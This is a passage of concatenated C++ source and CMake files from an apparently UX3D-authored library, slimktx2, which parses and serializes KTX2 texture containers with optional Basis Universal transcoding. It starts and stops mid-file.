uint32_t keyAndValueByteLength = 0u;
uint8_t* pKeyValue = nullptr;
uint32_t getKeyLength() const;
uint32_t getValueLength() const;
Entry* pNext = nullptr;
};
Entry* pKeyValues = nullptr; // linked list
uint32_t computeSize() const; // includes per-entry padding
Entry* getLastEntry() const;
};
} // !slimktx2
} // ux3d
<file_sep>/source/basistranscoder.h
// Copyright (c) 2020 UX3D GmbH. All rights reserved.
#pragma once
#include "callbacks.h"
#include "format.h"
namespace ux3d
{
namespace slimktx2
{
// forward decl
class SlimKTX2;
class BasisTranscoder
{
public:
BasisTranscoder();
~BasisTranscoder();
bool decompress(SlimKTX2& _image, IOHandle _file, TranscodeFormat _targetFormat);
private:
};
}
}<file_sep>/include/DefaultConsoleLogCallback.h
// Copyright (c) 2020 UX3D GmbH. All rights reserved.
#pragma once
#include "callbacks.h"
namespace ux3d
{
namespace slimktx2
{
class DefaultConsoleLogCallback
{
public:
Callbacks getCallback() const;
operator Callbacks() const;
private:
static void log(void* _pUserData, const char* _pFormat, va_list _args);
};
} // !slimktx2
} // !ux3d<file_sep>/include/basislz.h
// Copyright (c) 2020 UX3D GmbH. All rights reserved.
#pragma once
#include <cstdint>
namespace ux3d
{
namespace slimktx2
{
// http://github.khronos.org/KTX-Specification/#_supercompression_global_data
// supercompression global data
struct BasisLZ
{
// References to the offset of this data in a .basis file
struct Header
{
uint16_t endpointCount;
uint16_t selectorCount;
uint32_t endpointsByteLength;
uint32_t selectorsByteLength;
uint32_t tablesByteLength;
uint32_t extendedByteLength; // Must be 0 if the data format desciptor colorModel is KHR_DF_MODEL_ETC1S (= 163).
} header{};
struct ImageDesc
{
enum ImageFlag : uint32_t
{
None = 0,
isIFrame = 0x2
};
uint32_t imageFlags;
uint32_t rgbSliceByteOffset;
uint32_t rgbSliceByteLength;
uint32_t alphaSliceByteOffset;
uint32_t alphaSliceByteLength;
};
// for each image in the mip level array
ImageDesc* pImageDescs = nullptr;
uint8_t* pEndpoints = nullptr;
uint8_t* pSelectors = nullptr;
uint8_t* pTables = nullptr;
uint8_t* pExtendedData = nullptr;
};
}
}<file_sep>/include/slimktx2.h
// Copyright (c) 2020 UX3D GmbH. All rights reserved.
#pragma once
#include <cstddef>
#include <cstdint>
#include <cstdarg>
#include <new>
#include "dfd.h"
#include "kvd.h"
#include "callbacks.h"
#include "format.h"
#include "basislz.h"
namespace ux3d
{
namespace slimktx2
{
// helpers:
template <class T>
T max(T x, T y) { return x > y ? x : y; }
template <class T>
T max(T x, T y, T z) { return max(max(x, y), z); }
template <class T>
T min(T x, T y) { return x < y ? x : y; }
template <class T>
T min(T x, T y, T z) { return min(min(x, y), z); }
enum class SupercompressionScheme : uint32_t
{
None = 0,
BasisLZ = 1,
Zstandard = 2
};
// dont use enum class to allow converssion to uint32_t
enum class CubeMapFace : uint32_t
{
Right = 0,
Left,
Top,
Bottom,
Front,
Back,
Xpos = Right,
Xneg = Left,
Ypos = Top,
Yneg = Bottom,
Zpos = Front,
Zneg = Back
};
struct Header
{
static const uint8_t Magic[12];
uint8_t identifier[12];
Format vkFormat;
uint32_t typeSize;
uint32_t pixelWidth;
uint32_t pixelHeight;
uint32_t pixelDepth;
uint32_t layerCount;
uint32_t faceCount;
uint32_t levelCount;
uint32_t supercompressionScheme;
};
struct SectionIndex
{
uint32_t dfdByteOffset;
uint32_t dfdByteLength;
uint32_t kvdByteOffset;
uint32_t kvdByteLength;
uint64_t sgdByteOffset;
uint64_t sgdByteLength;
};
struct LevelIndex
{
uint64_t byteOffset;
uint64_t byteLength;
uint64_t uncompressedByteLength;
};
enum class Result : uint32_t
{
Success = 0u,
NotImplemented,
IOReadFail,
IOWriteFail,
InvalidIdentifier,
InvalidImageSize, // setImage _byteSize does not match information of specifyFormat
InvalidLevelIndex,
InvalidFaceIndex,
InvalidLayerIndex,
LevelIndexNotAllocated,
MipLevelArryNotAllocated,
DataFormatDescNotAllocated,
KeyValueDataNotAllocated,
SupercompressionGlobalDataNotAllocated,
BasisTranscodeFailed,
UnknownFormat
};
// Serialization API:
// SlimKTX2 ktx(callbacks);
// ktx.specifyFormat(Format::R16G16B16A16_SFLOAT, 1024, 1024);
// ktx.addDFDBlock(...);
// ktx.allocateMipLevelArray();
// ktx.setImage(...);
// ktx.serialize(_file);
// ktx internally stores mip levels in order from small to total (pixelWidth * pixelHeight) size
// SlimKTX2 hides this and exposes mip levels like in most GPU APIs where level 0 contains the full image of pixelWidth * pixelHeight, and level 1 half-size image and so on
class SlimKTX2
{
friend class BasisTranscoder; // forward decl
public:
SlimKTX2() = default;
SlimKTX2(const Callbacks& _callbacks);
~SlimKTX2();
void setCallbacks(const Callbacks& _callbacks);
Result parse(IOHandle _file, TranscodeFormat _targetFormat = TranscodeFormat::RGBA32);
Result serialize(IOHandle _file);
uint32_t getLevelCount() const;
uint32_t getLayerCount() const;
uint32_t getFaceCount() const;
const Header& getHeader() const;
const DataFormatDesc& getDFD() const;
const KeyValueData& getKVD() const;
// fills header and locks format/data-layout for addImage
Result specifyFormat(Format _vkFormat, uint32_t _width, uint32_t _height, uint32_t _levelCount = 1u, uint32_t _faceCount = 1u, uint32_t _depth = 0u, uint32_t _layerCount = 0u, SupercompressionScheme _scheme = SupercompressionScheme::None);
void addDFDBlock(const DataFormatDesc::BlockHeader& _header, const DataFormatDesc::Sample* _pSamples = nullptr, uint32_t _numSamples = 0u);
void addKeyValue(const void* _key, uint32_t _keyLength, const void* _value, uint32_t _valueLength);
// allocates all image memory required for setImage
Result allocateMipLevelArray();
// compute byte offset withing m_pContainer for the specified level, face and layer indices, requres m_pLevels to be initialized
uint64_t getFaceImageOffset(uint32_t _level, uint32_t _face, uint32_t _layer) const;
// copy image data to container (that was allocated by allocateContainer)
Result setImage(const void* _pData, size_t _byteSize, uint32_t _level, uint32_t _face, uint32_t _layer);
// returns pointer to face at _level, _layer, _face index, _imageSize is used for validation if _imageSize != 0u
Result getImage(uint8_t*& _outImageData, uint32_t _level, uint32_t _face, uint32_t _layer, uint64_t _imageSize = 0u) const;
// number of images in the mip level array
uint32_t getImageCount() const;
// free allocated memory, clear members
void clear();
private:
void* allocate(size_t _size);
void free(void* _pData);
template<class T>
T* allocateArray(size_t _count = 1u) { return new(reinterpret_cast<T*>(allocate(sizeof(T) * _count))) T{}; }
template<class T>
bool read(IOHandle _file, T* _pData, size_t _count = 1u) { return _pData != nullptr && sizeof(T) * _count == m_callbacks.read(m_callbacks.userData, _file, _pData, sizeof(T) * _count); }
template<class T>
void write(IOHandle _file, const T* _pData, size_t _count = 1u) const { m_callbacks.write(m_callbacks.userData, _file, _pData, sizeof(T)* _count); }
void writePadding(IOHandle _file, size_t _byteSize) const;
size_t tell(const IOHandle _file);
bool seek(IOHandle _file, size_t _offset);
void log(const char* _pFormat, ...);
uint32_t getKtxLevel(uint32_t _level) const;
void destroyDFD();
bool readDFD(IOHandle _file);
void writeDFD(IOHandle _file) const;
void destroyKVD();
bool readKVD(IOHandle _file);
void writeKVD(IOHandle _file) const;
void destroySGD();
Result readSGD(IOHandle _file);
void writeSGD(IOHandle _file) const;
void destoryMipLevelArray();
private:
Callbacks m_callbacks{};
Header m_header{};
SectionIndex m_sections{};
// in KTX mip level 0 is the smallest, so m_pLevels[0] contains the image with (resolution >> levelCount) pixels
LevelIndex* m_pLevels = nullptr;
DataFormatDesc m_dfd{};
KeyValueData m_kvd{};
//sgd
BasisLZ m_basisLZ{};
// mipLevel array
uint8_t** m_pMipLevelArray = nullptr;
};
}// !slimktx2
} // ux3d
<file_sep>/CMakeLists.txt
cmake_minimum_required(VERSION 3.10.0 FATAL_ERROR)
set(CMAKE_CXX_STANDARD 11)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_WINDOWS_EXPORT_ALL_SYMBOLS TRUE)
set_property(GLOBAL PROPERTY USE_FOLDERS ON)
# options
option(SLIMKTX2_USE_BASISU "use basis_universal to decode compressed ktx2 data" TRUE)
#this project
project(slimktx2)
#lib sources
set(slimktx2_sources
source/DefaultAllocationCallback.cpp
source/DefaultConsoleLogCallback.cpp
source/DefaultFileIOCallback.cpp
source/DefaultMemoryStreamCallback.cpp
source/dfd.cpp
source/format.cpp
source/kvd.cpp
source/slimktx2.cpp
)
set(slimktx2_public_headers
include/DefaultAllocationCallback.h
include/DefaultConsoleLogCallback.h
include/DefaultFileIOCallback.h
include/DefaultMemoryStreamCallback.h
include/basislz.h
include/callbacks.h
include/dfd.h
include/format.h
include/kvd.h
include/slimktx2.h
)
if(SLIMKTX2_USE_BASISU)
set(slimktx2_sources ${slimktx2_sources}
source/basistranscoder.cpp
source/basistranscoder.h
)
endif()
#lib project
add_library(${PROJECT_NAME} SHARED ${slimktx2_sources} ${slimktx2_public_headers})
target_include_directories(${PROJECT_NAME} PUBLIC "include" PRIVATE "source")
# specify the public headers (will be copied to `include` in install step)
set_target_properties(${PROJECT_NAME} PROPERTIES PUBLIC_HEADER "${slimktx2_public_headers}")
# optionally add basis universal
if(SLIMKTX2_USE_BASISU)
# define the preprocessor definition SLIMKTX2_USE_BASISU
add_definitions(-DSLIMKTX2_USE_BASISU)
# construct the name of the basis_universal library (depending on the platform)
if(MSVC)
set(basisu_library_name basisu.lib)
else()
set(basisu_library_name libbasisu.a)
endif()
# use a custom branch of basisu, which allows it being built as library
include(ExternalProject)
ExternalProject_Add(basis_universal
PREFIX thirdparty/basisu
SOURCE_DIR ${PROJECT_SOURCE_DIR}/thirdparty/basis_universal
CMAKE_ARGS -DBUILD_AS_LIBRARY=TRUE -DSTATIC=TRUE -DCMAKE_INSTALL_PREFIX:PATH=<INSTALL_DIR> -G${CMAKE_GENERATOR}
BUILD_BYPRODUCTS <INSTALL_DIR>/lib/${basisu_library_name}
)
ExternalProject_Get_Property(basis_universal install_dir)
# provide an imported target for basisu
add_library(basisu STATIC IMPORTED)
set_target_properties(basisu PROPERTIES IMPORTED_LOCATION ${install_dir}/lib/${basisu_library_name})
include_directories(${install_dir}/include)
add_dependencies(basisu basis_universal)
# link basisu into slimktx2
target_link_libraries(${PROJECT_NAME} basisu)
endif()
# install target
install(TARGETS ${PROJECT_NAME})
<file_sep>/source/DefaultAllocationCallback.cpp
// Copyright (c) 2020 UX3D GmbH. All rights reserved.
#include "DefaultAllocationCallback.h"
#include <cstdlib>
using namespace ux3d::slimktx2;
Callbacks DefaultAllocationCallback::getCallback() const
{
Callbacks callback{};
// userdata not required
callback.allocate = allocate;
callback.deallocate = deallocate;
return callback;
}
DefaultAllocationCallback::operator Callbacks() const
{
return getCallback();
}
void* DefaultAllocationCallback::allocate(void* _pUserData, size_t _size)
{
return malloc(_size);
}
void DefaultAllocationCallback::deallocate(void* _pUserData, void* _pData)
{
free(_pData);
}
<file_sep>/include/DefaultFileIOCallback.h
// Copyright (c) 2020 UX3D GmbH. All rights reserved.
#pragma once
#include "callbacks.h"
namespace ux3d
{
namespace slimktx2
{
// IOHandle assumbed to be C FILE handle
class DefaultFileIOCallback
{
public:
Callbacks getCallback() const;
operator Callbacks() const;
private:
static size_t read(void* _pUserData, IOHandle _file, void* _pData, size_t _size);
static void write(void* _pUserData, IOHandle _file, const void* _pData, size_t _size);
static size_t tell(void* _pUserData, IOHandle _file);
static bool seek(void* _pUserData, IOHandle _file, size_t _offset);
};
} // !slimktx2
} // !ux3d<file_sep>/source/basistranscoder.cpp
// Copyright (c) 2020 UX3D GmbH. All rights reserved.
#include "basistranscoder.h"
#include <transcoder/basisu_transcoder.h>
#include "slimktx2.h"
ux3d::slimktx2::BasisTranscoder::BasisTranscoder()
{
basist::basisu_transcoder_init();
}
ux3d::slimktx2::BasisTranscoder::~BasisTranscoder()
{
}
bool ux3d::slimktx2::BasisTranscoder::decompress(SlimKTX2& _image, IOHandle _file, TranscodeFormat _targetFormat)
{
if (_targetFormat == TranscodeFormat::UNDEFINED)
{
return false;
}
const auto targetFormat = static_cast<basist::transcoder_texture_format>(_targetFormat);
//ktx_uint32_t ktx_transcode_flags; ktx_transcode_flag_bits_e
const uint32_t transcodeFlags = 0u; // TODO pass flags to transcode()
auto* pBlock = _image.getDFD().pBlocks;
if (pBlock == nullptr)
{
return false;
}
const bool isETC1S = pBlock->header.colorModel == ColorModel_ETC1S;
const bool isUASTC = pBlock->header.colorModel == ColorModel_UASTC;
if (isETC1S == false && isUASTC == false)
{
return false;
}
const bool sRGB = pBlock->header.transferFunction == TransferFunction_SRGB;
enum alpha_content_e {
eNone,
eAlpha,
eGreen
};
alpha_content_e alphaContent = eNone;
if (isETC1S && pBlock->getSampleCount() == 2)
{
if (pBlock->pSamples[1].channelType == ColorChannels_ETC1S_AAA)
{
alphaContent = eAlpha;
}
else if (pBlock->pSamples[1].channelType == ColorChannels_ETC1S_GGG)
{
alphaContent = eGreen;
}
else
{
return false;
}
}
else if (isUASTC && pBlock->getSampleCount() >= 1)
{
if (pBlock->pSamples->channelType == ColorChannels_UASTC_RGBA)
{
alphaContent = eAlpha;
}
else if (pBlock->pSamples->channelType == ColorChannels_UASTC_RRRG)
{
alphaContent = eGreen;
}
}
// update ktx header with decoded vk format to be able to allocate the right amount of memory
_image.m_header.vkFormat = transcodeToVkFormat(_targetFormat, sRGB);
static const basist::etc1_global_selector_codebook sel_codebook(basist::g_global_selector_cb_size, basist::g_global_selector_cb);
basist::basisu_etc1s_image_transcoder bit(&sel_codebook);
basist::basisu_uastc_image_transcoder uit;
if(isETC1S)
{
const auto& header = _image.m_basisLZ.header;
if (bit.decode_palettes(
header.endpointCount, _image.m_basisLZ.pEndpoints, header.endpointsByteLength,
header.selectorCount, _image.m_basisLZ.pSelectors, header.selectorsByteLength) == false)
{
return false;
}
if (bit.decode_tables(_image.m_basisLZ.pTables, header.tablesByteLength) == false)
{
return false;
}
}
if (_image.allocateMipLevelArray() != Result::Success)
{
return false;
}
const Header& ktx = _image.getHeader();
const uint32_t levelCount = _image.getLevelCount();
const uint32_t faceCount = _image.getFaceCount();
const uint32_t layerCount = _image.getLayerCount();
const LevelIndex& baseLevel = _image.m_pLevels[0u];
uint8_t* pLevelData = _image.allocateArray<uint8_t>(baseLevel.byteLength);
if (pLevelData == nullptr)
{
return false;
}
for(uint32_t level = 0u, image = 0u; level < levelCount; ++level)
{
const LevelIndex& lvl = _image.m_pLevels[level];
const uint64_t faceSize = getFaceSize(ktx.vkFormat, level, ktx.pixelWidth, ktx.pixelHeight, ktx.pixelDepth);
basist::basisu_image_desc imageDesc(
isETC1S ? basist::basis_tex_format::cETC1S : basist::basis_tex_format::cUASTC4x4,
max(1u, ktx.pixelWidth >> level),
max(1u, ktx.pixelHeight >> level),
level);
if (_image.seek(_file, lvl.byteOffset) == false)
{
return false;
}
// read the whole level array
if (_image.read(_file, pLevelData, lvl.byteLength) == false)
{
return false;
}
for (uint32_t layer = 0; layer < layerCount; ++layer)
{
for (uint32_t face = 0; face < faceCount; ++face, ++image)
{
const auto& basisImg = _image.m_basisLZ.pImageDescs[image];
imageDesc.m_rgb_byte_offset = basisImg.rgbSliceByteOffset;
imageDesc.m_rgb_byte_length = basisImg.rgbSliceByteLength;
imageDesc.m_flags = basisImg.imageFlags;
if (alphaContent != eNone)
{
imageDesc.m_alpha_byte_offset = basisImg.alphaSliceByteOffset;
imageDesc.m_alpha_byte_length = basisImg.alphaSliceByteLength;
}
uint8_t* pDecoded = nullptr;
if (_image.getImage(pDecoded, level, face, layer, static_cast<uint32_t>(faceSize)) != Result::Success)
{
return false;
}
if (isETC1S)
{
if (bit.transcode_image(targetFormat, pDecoded, static_cast<uint32_t>(faceSize), pLevelData, imageDesc, transcodeFlags) == false)
{
return false;
}
}
else if (isUASTC)
{
if (uit.transcode_image(targetFormat, pDecoded, static_cast<uint32_t>(faceSize), pLevelData, imageDesc, transcodeFlags, alphaContent != eNone) == false)
{
return false;
}
}
}
}
}
_image.free(pLevelData);
// TODO: update DFD with new color model
return true;
}
<file_sep>/source/slimktx2.cpp
// Copyright (c) 2020 UX3D GmbH. All rights reserved.
#include "slimktx2.h"
#include <cstring>
#ifdef SLIMKTX2_USE_BASISU
#include "basistranscoder.h"
#endif
using namespace ux3d::slimktx2;
const uint8_t Header::Magic[12] = { 0xAB, 0x4B, 0x54, 0x58, 0x20, 0x32, 0x30, 0xBB, 0x0D, 0x0A, 0x1A, 0x0A };
SlimKTX2::SlimKTX2(const Callbacks& _callbacks) : m_callbacks(_callbacks)
{
}
SlimKTX2::~SlimKTX2()
{
clear();
}
void SlimKTX2::setCallbacks(const Callbacks& _callbacks)
{
m_callbacks = _callbacks;
}
void SlimKTX2::clear()
{
// level index
if (m_pLevels != nullptr)
{
free(m_pLevels);
}
m_pLevels = nullptr;
destroyDFD();
destroyKVD();
destroySGD();
destoryMipLevelArray();
}
uint64_t SlimKTX2::getFaceImageOffset(uint32_t _level, uint32_t _face, uint32_t _layer) const
{
uint64_t offset = 0u;
if (m_pLevels == nullptr)
{
return 0u;
}
// add largest level
const uint64_t faceSize = getFaceSize(m_header.vkFormat, _level, m_header.pixelWidth, m_header.pixelHeight, m_header.pixelDepth);
// number of previous layers with either 1 or 6 faces
uint64_t prevFaces = faceSize * _layer * m_header.faceCount;
// add the faces within this cube map
prevFaces += faceSize * _face;
// we are now at the start of the current level, add faces an layers:
offset += prevFaces;
return offset;
}
Result SlimKTX2::parse(IOHandle _file, TranscodeFormat _targetFormat)
{
clear();
Result res = Result::Success;
if (read(_file, &m_header) == false)
{
return Result::IOReadFail;
}
if (memcmp(m_header.identifier, Header::Magic, sizeof(m_header.identifier)) != 0)
{
return Result::InvalidIdentifier;
}
if (read(_file, &m_sections) == false)
{
return Result::IOReadFail;
}
const uint32_t levelCount = getLevelCount();
m_pLevels = allocateArray<LevelIndex>(levelCount);
if (read(_file, m_pLevels, levelCount) == false)
{
return Result::IOReadFail;
}
// dfd is mandatory
if (seek(_file, m_sections.dfdByteOffset) == false)
{
return Result::IOReadFail;
}
if (readDFD(_file) == false)
{
return Result::IOReadFail;
}
// kvd is mandatory
if (seek(_file, m_sections.kvdByteOffset) == false)
{
return Result::IOReadFail;
}
if (readKVD(_file) == false)
{
return Result::IOReadFail;
}
// TODO: sgd - basisLZ only atm
if (m_sections.sgdByteLength != 0u)
{
if (seek(_file, m_sections.sgdByteOffset) == false)
{
return Result::IOReadFail;
}
res = readSGD(_file);
if (res != Result::Success)
{
return res;
}
}
if (m_header.supercompressionScheme == static_cast<uint32_t>(SupercompressionScheme::BasisLZ))
{
#ifdef SLIMKTX2_USE_BASISU
BasisTranscoder bit;
if (bit.decompress(*this, _file, _targetFormat) == false)
{
return Result::BasisTranscodeFailed;
}
#else
log("slimktx2 not compiled with basisu support\n");
return Result::UnknownFormat;
#endif
}
else if (m_header.vkFormat != Format::UNDEFINED)
{
res = allocateMipLevelArray();
if (res != Result::Success)
{
return res;
}
for (uint32_t level = levelCount - 1u; level <= levelCount; --level)
{
const LevelIndex& lvl = m_pLevels[level];
// skip to first level
if (seek(_file, lvl.byteOffset) == false)
{
return Result::IOReadFail;
}
if (read(_file, m_pMipLevelArray[level], lvl.byteLength) == false)
{
return Result::IOReadFail;
}
}
}
else
{
log("vkFormat not specified\n");
return Result::UnknownFormat;
}
return Result::Success;
}
Result SlimKTX2::serialize(IOHandle _file)
{
if (m_pLevels == nullptr)
{
log("LevelIndex not specified\n");
return Result::LevelIndexNotAllocated;
}
if (m_pMipLevelArray == nullptr)
{
log("MipLevelArray not specified\n");
return Result::MipLevelArryNotAllocated;
}
if (m_dfd.pBlocks == nullptr)
{
log("DFD not specified\n");
return Result::DataFormatDescNotAllocated;
}
if (m_kvd.pKeyValues == nullptr)
{
log("KVD not specified\n");
return Result::KeyValueDataNotAllocated;
}
const bool isBasis = m_header.supercompressionScheme == static_cast<uint32_t>(SupercompressionScheme::BasisLZ);
if (m_basisLZ.pImageDescs == nullptr && isBasis)
{
log("SGD not specified\n");
return Result::SupercompressionGlobalDataNotAllocated;
}
const size_t streamStart = tell(_file);
auto filePos = [&](IOHandle file) -> size_t { return tell(file) - streamStart; };
const uint32_t levelCount = getLevelCount();
const uint32_t dfdByteLength = m_dfd.computeSize();
const uint32_t dfdByteOffset = sizeof(Header) + sizeof(SectionIndex) + sizeof(LevelIndex) * m_header.levelCount;
const uint32_t kvdByteLength = m_kvd.computeSize();
const uint32_t kvdByteOffset = dfdByteOffset + dfdByteLength;
const uint64_t sgdByteLength = 0u;
uint64_t sgdByteOffset = static_cast<uint64_t>(kvdByteOffset) + static_cast<uint64_t>(kvdByteLength);
if (m_dfd.totalSize == 0)
{
m_dfd.totalSize = dfdByteLength;
}
const uint32_t sdgPadding = getPadding(sgdByteOffset, 8u);
if (sgdByteLength > 0u)
{
sgdByteOffset += sdgPadding;
}
uint64_t levelOffset = sgdByteOffset + sgdByteLength;
for (uint32_t level = levelCount - 1u; level <= levelCount; --level)
{
const uint32_t mipPad = getMipPadding(levelOffset, m_header.vkFormat, m_header.supercompressionScheme != 0u);
levelOffset += mipPad;
// start with the small level, fill them in reverse
uint64_t levelSize = getFaceSize(m_header.vkFormat, level, m_header.pixelWidth, m_header.pixelHeight, m_header.pixelDepth);
levelSize *= getFaceCount();
levelSize *= getLayerCount();
// absolute levelOffset within the file
m_pLevels[level].byteOffset = levelOffset;
m_pLevels[level].byteLength = levelSize;
m_pLevels[level].uncompressedByteLength = isBasis ? 0u : levelSize; // uncompressedByteLength % (faceCount * max(1, layerCount)) == 0
levelOffset += levelSize;
}
write(_file, &m_header);
m_sections.dfdByteLength = dfdByteLength;
m_sections.dfdByteOffset = dfdByteOffset;
m_sections.kvdByteLength = kvdByteLength;
m_sections.kvdByteOffset = kvdByteOffset;
//sdg is optional
m_sections.sgdByteLength = sgdByteLength;
m_sections.sgdByteOffset = sgdByteLength != 0u ? sgdByteOffset : 0u;
size_t curPos = filePos(_file);
log("SectionIndex offset %llu size %llu\n", curPos, sizeof(SectionIndex));
write(_file, &m_sections);
curPos = filePos(_file);
log("LevelIndex offset %llu size %llu\n", curPos, sizeof(LevelIndex) * m_header.levelCount);
write(_file, m_pLevels, m_header.levelCount);
curPos = filePos(_file);
log("DFD offset %llu size %u\n", curPos, dfdByteLength);
if (dfdByteLength != 0u)
{
if (curPos != m_sections.dfdByteOffset)
{
return Result::IOWriteFail;
}
writeDFD(_file);
}
curPos = filePos(_file);
log("KVD offset %llu size %u\n", curPos, kvdByteLength);
if (kvdByteLength != 0u)
{
if (curPos != m_sections.kvdByteOffset)
{
return Result::IOWriteFail;
}
writeKVD(_file);
}
// dfd and kvd are required fields and the validator will emit warnings
// some parser implementation still work as they also ignore those fields.
// after kvd, before sdg
if (m_sections.sgdByteLength > 0u)
{
writePadding(_file, sdgPadding);
}
if (m_header.supercompressionScheme == static_cast<uint32_t>(SupercompressionScheme::BasisLZ))
{
curPos = filePos(_file);
log("SGD offset %llu size %u\n", curPos, sgdByteLength);
if (curPos != m_sections.sgdByteOffset)
{
return Result::IOWriteFail;
}
writeSGD(_file);
}
for (uint32_t level = levelCount - 1u; level <= levelCount; --level)
{
const LevelIndex& lvl = m_pLevels[level];
curPos = filePos(_file);
const uint32_t mipPad = getMipPadding(curPos, m_header.vkFormat, m_header.supercompressionScheme != 0u);
writePadding(_file, mipPad);
curPos = filePos(_file);
log("level %u offset %llu length %llu padding %u\n", level, lvl.byteOffset, lvl.byteLength, mipPad);
// skip to first level
if (lvl.byteOffset != curPos)
{
return Result::IOWriteFail;
}
write(_file, m_pMipLevelArray[level], lvl.byteLength);
}
curPos = filePos(_file);
log("Total file size %llu\n", curPos);
if (levelOffset != curPos)
{
return Result::IOWriteFail;
}
return Result::Success;
}
uint32_t SlimKTX2::getLevelCount() const
{
return m_header.levelCount != 0u ? m_header.levelCount : 1u;
}
uint32_t SlimKTX2::getLayerCount() const
{
return m_header.layerCount != 0u ? m_header.layerCount : 1u;
}
uint32_t SlimKTX2::getFaceCount() const
{
return m_header.faceCount != 0u ? m_header.faceCount : 1u;
}
const Header& SlimKTX2::getHeader() const
{
return m_header;
}
const DataFormatDesc& SlimKTX2::getDFD() const
{
return m_dfd;
}
const KeyValueData& SlimKTX2::getKVD() const
{
return m_kvd;
}
Result SlimKTX2::specifyFormat(Format _vkFormat, uint32_t _width, uint32_t _height, uint32_t _levelCount, uint32_t _faceCount, uint32_t _depth, uint32_t _layerCount, SupercompressionScheme _scheme)
{
if (m_pLevels != nullptr)
{
free(m_pLevels);
}
memcpy(m_header.identifier, Header::Magic, sizeof(m_header.identifier));
m_header.vkFormat = _vkFormat;
m_header.typeSize = getTypeSize(_vkFormat);
m_header.pixelWidth = _width;
m_header.pixelHeight = _height == 1u ? 0u : _height;
m_header.pixelDepth = _depth == 1u ? 0u : _depth;
m_header.layerCount = _layerCount;
m_header.faceCount = _faceCount;
uint32_t maxDim = max(_width, _height, _depth);
uint32_t maxLevel = 0u;
// compute maximum number of mip levels for the specified resolution
while (maxDim > 0u)
{
maxDim >>= 1u;
++maxLevel;
}
m_header.levelCount = min(maxLevel, _levelCount);
m_header.supercompressionScheme = static_cast<uint32_t>(_scheme);
const uint32_t levelCount = getLevelCount();
m_pLevels = allocateArray<LevelIndex>(levelCount);
addKeyValue(KeyValueData::KTXwriterKey, KeyValueData::KTXwriterKeyLength, KeyValueData::KTXwriterValue, KeyValueData::KTXwriterValueLength);
return Result::Success;
}
void ux3d::slimktx2::SlimKTX2::addDFDBlock(const DataFormatDesc::BlockHeader& _header, const DataFormatDesc::Sample* _pSamples, uint32_t _numSamples)
{
auto pBlock = m_dfd.getLastBlock();
if (pBlock == nullptr) // first block
{
pBlock = allocateArray<DataFormatDesc::Block>();
m_dfd.pBlocks = pBlock;
}
else
{
pBlock->pNext = allocateArray<DataFormatDesc::Block>();
pBlock = pBlock->pNext;
}
pBlock->header = _header;
pBlock->setSampleCount(_numSamples);
if (_pSamples != nullptr && _numSamples != 0u)
{
pBlock->pSamples = allocateArray<DataFormatDesc::Sample>(_numSamples);
memcpy(pBlock->pSamples, _pSamples, _numSamples * sizeof(DataFormatDesc::Sample));
}
}
void SlimKTX2::addKeyValue(const void* _key, uint32_t _keyLength, const void* _value, uint32_t _valueLength)
{
auto pEntry = m_kvd.getLastEntry();
if (pEntry == nullptr) // first entry
{
pEntry = allocateArray<KeyValueData::Entry>();
m_kvd.pKeyValues = pEntry;
}
else
{
pEntry->pNext = allocateArray<KeyValueData::Entry>();
pEntry = pEntry->pNext;
}
pEntry->keyAndValueByteLength = _keyLength + _valueLength;
pEntry->pKeyValue = allocateArray<uint8_t>(pEntry->keyAndValueByteLength);
memcpy(pEntry->pKeyValue, _key, _keyLength);
memcpy(pEntry->pKeyValue + _keyLength, _value, _valueLength);
}
Result SlimKTX2::allocateMipLevelArray()
{
destoryMipLevelArray();
const auto levelCount = getLevelCount();
if (levelCount == 0)
{
return Result::MipLevelArryNotAllocated;
}
m_pMipLevelArray = allocateArray<uint8_t*>(levelCount);
if (m_pMipLevelArray == nullptr)
{
return Result::MipLevelArryNotAllocated;
}
for (uint32_t l = 0u; l < getLevelCount(); ++l)
{
uint64_t levelSize = getFaceSize(m_header.vkFormat, l, m_header.pixelWidth, m_header.pixelHeight, m_header.pixelDepth);
levelSize *= getFaceCount();
levelSize *= getLayerCount();
if (levelSize == 0u)
{
return Result::MipLevelArryNotAllocated;
}
m_pMipLevelArray[l] = allocateArray<uint8_t>(levelSize);
if (m_pMipLevelArray[l] == nullptr)
{
return Result::MipLevelArryNotAllocated;
}
}
return Result::Success;
}
Result SlimKTX2::setImage(const void* _pData, size_t _byteSize, uint32_t _level, uint32_t _face, uint32_t _layer)
{
Result res = Result::Success;
if (_level >= m_header.levelCount)
{
return Result::InvalidLevelIndex;
}
const uint64_t imageSize = getFaceSize(m_header.vkFormat, _level, m_header.pixelWidth, m_header.pixelHeight, m_header.pixelDepth);
if (_byteSize != imageSize)
{
return Result::InvalidImageSize;
}
uint8_t* pDst = nullptr;
if ((res = getImage(pDst, _level, _face, _layer, _byteSize)) != Result::Success)
{
return res;
}
memcpy(pDst, _pData, _byteSize);
return res;
}
Result SlimKTX2::getImage(uint8_t*& _outImageData, uint32_t _level, uint32_t _face, uint32_t _layer, uint64_t _imageSize) const
{
if (m_pMipLevelArray == nullptr)
{
return Result::MipLevelArryNotAllocated;
}
if (_level >= m_header.levelCount)
{
return Result::InvalidLevelIndex;
}
if (_face >= m_header.faceCount)
{
return Result::InvalidFaceIndex;
}
if (_layer >= getLayerCount())
{
return Result::InvalidLayerIndex;
}
const uint64_t offset = getFaceImageOffset(_level, _face, _layer);
if (_imageSize != 0u)
{
// for debugging
uint64_t levelSize = getFaceSize(m_header.vkFormat, _level, m_header.pixelWidth, m_header.pixelHeight, m_header.pixelDepth);
levelSize *= getFaceCount();
levelSize *= getLayerCount();
// levelOffset / image out of container bounds
if (offset + _imageSize > levelSize)
{
return Result::InvalidImageSize;
}
}
_outImageData = m_pMipLevelArray[_level] + offset;
return Result::Success;
}
uint32_t SlimKTX2::getImageCount() const
{
// http://github.khronos.org/KTX-Specification/#_supercompression_global_data
uint32_t layerPixelDepth = max(m_header.pixelDepth, 1u);
for (uint32_t i = 1; i < m_header.levelCount; ++i)
{
layerPixelDepth += max(m_header.pixelDepth >> i, 1u);
}
return max(m_header.layerCount, 1u) * m_header.faceCount * layerPixelDepth;
}
void* SlimKTX2::allocate(size_t _size)
{
return m_callbacks.allocate(m_callbacks.userData, _size);
}
void SlimKTX2::free(void* _pData)
{
m_callbacks.deallocate(m_callbacks.userData, _pData);
}
void SlimKTX2::writePadding(IOHandle _file, size_t _byteSize) const
{
const uint8_t pad = 0u;
for (uint32_t i = 0; i < _byteSize; ++i)
{
write(_file, &pad);
}
}
size_t SlimKTX2::tell(const IOHandle _file)
{
